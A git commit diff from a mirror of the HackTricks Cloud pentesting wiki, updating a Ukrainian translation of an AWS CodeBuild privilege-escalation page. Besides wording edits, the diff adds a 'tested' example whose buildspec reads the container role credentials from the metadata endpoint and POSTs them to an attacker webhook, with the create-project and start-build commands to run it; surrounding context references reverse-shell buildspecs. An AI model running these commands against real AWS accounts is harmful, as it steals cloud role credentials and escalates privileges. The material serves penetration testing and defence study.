mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-02 15:59:58 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
@@ -61,13 +61,13 @@ aws codebuild start-build-batch --project <project-name> --buildspec-override fi
|
||||
**Примітка**: Різниця між цими двома командами полягає в тому, що:
|
||||
|
||||
- `StartBuild` запускає одну задачу збірки, використовуючи конкретний `buildspec.yml`.
|
||||
- `StartBuildBatch` дозволяє вам запустити пакет збірок з більш складними конфігураціями (наприклад, запуск кількох збірок паралельно).
|
||||
- `StartBuildBatch` дозволяє вам запустити пакет збірок з більш складними конфігураціями (наприклад, виконання кількох збірок паралельно).
|
||||
|
||||
**Можливий вплив:** Пряме підвищення привілеїв до прикріплених ролей AWS Codebuild.
|
||||
|
||||
### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
|
||||
|
||||
Зловмисник з правами **`iam:PassRole`, `codebuild:CreateProject` та `codebuild:StartBuild` або `codebuild:StartBuildBatch`** зможе **підвищити привілеї до будь-якої ролі IAM Codebuild**, створивши працюючу.
|
||||
Зловмисник з правами **`iam:PassRole`, `codebuild:CreateProject` та `codebuild:StartBuild` або `codebuild:StartBuildBatch`** зможе **підвищити привілеї до будь-якої ролі IAM codebuild**, створивши працюючу.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Example1" }}
|
||||
@@ -133,6 +133,40 @@ aws codebuild create-project --name reverse-shell-project --source type=S3,locat
|
||||
# Start a build with the new project
|
||||
aws codebuild start-build --project-name reverse-shell-project
|
||||
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Example3" }}
|
||||
```bash
|
||||
# Generated by ex16x41, tested
|
||||
# Create a hook.json file with command to send output from curl credentials URI to your webhook address
|
||||
|
||||
{
|
||||
"name": "user-project-1",
|
||||
"source": {
|
||||
"type": "NO_SOURCE",
|
||||
"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - curl \"http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\" | curl -X POST -d @- WEBHOOK URL\n"
|
||||
},
|
||||
"artifacts": {
|
||||
"type": "NO_ARTIFACTS"
|
||||
},
|
||||
"environment": {
|
||||
"type": "LINUX_CONTAINER",
|
||||
"image": "public.ecr.aws/codebuild/amazonlinux2-x86_64-standard:4.0",
|
||||
"computeType": "BUILD_GENERAL1_SMALL"
|
||||
},
|
||||
"serviceRole": "ARN-OF-TARGET-ROLE"
|
||||
}
|
||||
|
||||
# Create a new CodeBuild project with the hook.json file
|
||||
aws codebuild create-project --cli-input-json file:///tmp/hook.json
|
||||
|
||||
# Start a build with the new project
|
||||
aws codebuild start-build --project-name user-project-1
|
||||
|
||||
# Get Credentials output to webhook address
|
||||
Wait a few seconds to maybe a couple minutes and view the POST request with data of credentials to pivot from
|
||||
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
@@ -146,7 +180,7 @@ aws codebuild start-build --project-name reverse-shell-project
|
||||
|
||||
> Додайте це до URL **`http://169.254.170.2/`** і ви зможете вивантажити облікові дані ролі.
|
||||
|
||||
> Більше того, він також містить **змінну середовища `ECS_CONTAINER_METADATA_URI`**, яка містить повний URL для отримання **інформації про метадані контейнера**.
|
||||
> Більше того, він також містить **змінну середовища `ECS_CONTAINER_METADATA_URI`**, яка містить повну URL-адресу для отримання **інформації про метадані контейнера**.
|
||||
|
||||
### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
|
||||
|
||||
@@ -308,7 +342,7 @@ aws codebuild start-build --project-name <project-name>
|
||||
|
||||
# Wait for the reverse shell :)
|
||||
```
|
||||
Ви можете використовувати щось на зразок цього **buildspec**, щоб отримати **reverse shell**:
|
||||
Ви можете використовувати щось на зразок цього **buildspec** для отримання **reverse shell**:
|
||||
```yaml:buildspec.yml
|
||||
version: 0.2
|
||||
|
||||
@@ -320,7 +354,7 @@ commands:
|
||||
**Вплив:** Пряме підвищення привілеїв до ролі, що використовується працівником AWS CodeBuild, яка зазвичай має високі привілеї.
|
||||
|
||||
> [!WARNING]
|
||||
> Зверніть увагу, що buildspec може бути очікуваний у форматі zip, тому зловмиснику потрібно буде завантажити, розпакувати, змінити `buildspec.yml` з кореневої директорії, знову запакувати та завантажити.
|
||||
> Зверніть увагу, що buildspec може бути очікуваний у форматі zip, тому зловмиснику потрібно буде завантажити, розпакувати, змінити `buildspec.yml` з кореневої директорії, знову запакувати та завантажити
|
||||
|
||||
Більше деталей можна знайти [тут](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/).
|
||||
|
||||
|
||||
Reference in New Issue
Block a user